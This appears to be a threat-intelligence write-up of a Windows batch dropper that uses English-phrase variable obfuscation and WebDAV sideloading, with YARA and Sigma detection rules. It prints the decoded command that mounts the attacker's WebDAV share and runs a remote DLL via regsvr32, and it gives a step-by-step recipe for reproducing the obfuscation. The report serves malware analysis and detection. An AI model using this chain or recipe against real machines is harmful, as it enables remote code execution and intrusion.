unclassified-js-webdav-dropper: e11665cf — natural-language word-salad SET obfuscation, WebDAV C2 45.9.74.36:8888

Executive Summary

7.4 kB Windows batch dropper (2809325935343411093.bat) using a novel natural-language variable-name obfuscation: 36 SET variables are English adjective+noun phrases (e.g. alertsilentriddle, fuzzycourageousknife, mindlesssodacooing) that assemble at runtime into a PowerShell-hidden net use + regsvr32 /s WebDAV sideloading chain. C2: 45.9.74.36:8888. Payload: 33081201929468.dll. Same infrastructure and execution chain as the twenty-sibling unclassified-js-webdav-dropper cluster; unique trait is the word-salad variable naming versus the shared-prefix / dictionary-lookup dialects seen in prior siblings.

What It Is

Static-only analysis. No PE, no packing, no compiler fingerprint. ^[pefile.txt] ^[rabin2-info.txt]

How It Works

Stage 1 — GOTO decoy

Line 1: goto thin skips the first 52 lines of natural-language "word salad" — semantically meaningless English phrases that serve only as padding and to push the real payload below the visual fold. ^[strings.txt:1] ^[strings.txt:54]

Stage 2 — Variable assignment (line 55)

Thirty-six set varname=value assignments chained with &&. Each variable name is a concatenation of two or three English words (adjective + noun, or adjective + adjective + noun), e.g.:

• alertsilentriddle = 5
• fuzzycourageousknife = c
• mindlesssodacooing = r
• rattyroadplacid = s

^[strings.txt:50-51]

This is structurally identical to the shared-prefix SET obfuscation seen in siblings like e777fd64 (hbutcXXXX pattern) and ed6b2cd3 (labzfXXXX pattern), but replaces the random-character prefix with grammatically plausible English phrases.

Stage 3 — Payload reassembly (lines 56-57)

Two lines of %varname% expansion reassemble the actual commands:

color f0 && start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\33081201929468.dll

Decoded from lines 56-57 of the raw batch file. The color f0 && start wordpad line is a decoy — opens WordPad to distract the user while PowerShell runs hidden.

Stage 4 — WebDAV sideloading (line 57, decoded)

powershell.exe -WindowStyle Hidden executes:

1. net use \\45.9.74.36@8888\davwwwroot\ — mounts attacker WebDAV share
2. regsvr32 /s \\45.9.74.36@8888\davwwwroot\33081201929468.dll — silently registers the remote DLL (T1218.010) ^[strings.txt:57]

Same C2 IP, port, payload naming convention, and regsvr32 /s entry point as the twenty-sibling cluster. See webdav-regsvr32-dll-sideloading.

Decompiled Behavior

N/A — script, not a binary. No Ghidra/r2 disassembly applicable.

C2 Infrastructure

Interesting Tidbits

• Natural-language variable naming is the first observed in this family. Prior siblings used random-character prefixes (hbutc, labzf, nmnmd, nxbas, wdopm) or 36-entry / 62-entry dictionary lookup tables with JScript noise-key arrays. This sample replaces both with grammatically coherent English phrases, possibly to evade entropy-based detection or to make static string extraction noisier.
• No PowerShell wrapper around the entire command — unlike many siblings that wrap in a second powershell.exe -EncodedCommand layer, this sample runs the net use and regsvr32 directly in the hidden PowerShell window. Simpler, fewer layers.
• No sandbox gate, no persistence mechanism in the batch itself — the DLL payload (not available for analysis) presumably handles its own persistence.
• No wordpad decoy in line 57 — the start wordpad runs in parallel with the PowerShell hidden window, not as a blocking subprocess. Distraction, not sandbox evasion.
• Payload filename 33081201929468.dll follows the numeric-only DLL naming convention observed across this cluster (e.g. 3682.dll, 3500.dll, 1150.dll, 639.dll, 1369.dll).

How To Mess With It (Homelab Replication)

Toolchain: Windows Notepad or any text editor.

Recipe:

1. Pick 36 random English adjective+noun phrases (e.g. saltysandwich, bouncypencil).
2. Assign each a single character or digit via set.
3. Write your payload as a single string, then fragment it across the variables.
4. Reassemble with %var1%%var2%%var3%... on one line.
5. Wrap in powershell.exe -WindowStyle Hidden.

Verification: Run the batch in a VM. Observe wordpad.exe opening while powershell.exe spawns hidden. Monitor with ProcMon for net use → regsvr32 chain.

Deployable Signatures

YARA rule

rule Batch_Webdav_Dropper_NaturalLanguageVars {
    meta:
        description = "Batch WebDAV dropper with natural-language SET variable obfuscation"
        author = "PacketPursuit"
        date = "2026-06-26"
        hash = "e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a"
    strings:
        $set1 = "set crownconcernedact=" ascii
        $set2 = "set alertsilentriddle=" ascii
        $set3 = "set mindlesssodacooing=" ascii
        $set4 = "set fuzzycourageousknife=" ascii
        $pwsh = "powershell.exe -windowstyle hidden" nocase ascii
        $netuse = "net use \" ascii
        $regsvr = "regsvr32 /s" nocase ascii
    condition:
        2 of ($set*) and $pwsh and $netuse and $regsvr and filesize < 15KB
}

Behavioral hunt query (Sigma)

title: Batch WebDAV Dropper Natural-Language Obfuscation
logsource:
    product: windows
    service: sysmon
detection:
    selection1:
        CommandLine|contains:
            - 'powershell.exe -windowstyle hidden'
            - 'net use '
            - 'regsvr32 /s'
    selection2:
        CommandLine|contains:
            - 'crownconcernedact'
            - 'alertsilentriddle'
            - 'mindlesssodacooing'
    condition: selection1 and selection2
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint

A small Windows batch script (< 10 KB) begins with goto to skip a block of natural-language padding prose. It then sets 30-40 variables with English adjective+noun phrase names to single characters/digits, reassembles them via %var% expansion into a powershell.exe -WindowStyle Hidden command that mounts a WebDAV share via net use and executes a remote DLL via regsvr32 /s. A color f0 && start wordpad decoy runs in parallel. No sandbox gate, no persistence in the batch itself.

Detection Signatures

References

• Entity page: unclassified-js-webdav-dropper
• Technique page: webdav-regsvr32-dll-sideloading
• Related siblings: e777fd64, ed6b2cd3, c6e24c16, ceacabb4, d36d84f2, dc9b0407 (same 45.9.74.36:8888 cluster)
• MalwareBazaar: https://bazaar.abuse.ch/sample/e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a/

Provenance

Analysis derived from static inspection of the batch script text file. Decoded via custom Python regex substitution of %varname% patterns against the SET variable map. No CAPE detonation (text file, unsupported binary class). Tools: file v5.44, exiftool v12.76, custom Python decoder. Date: 2026-06-26.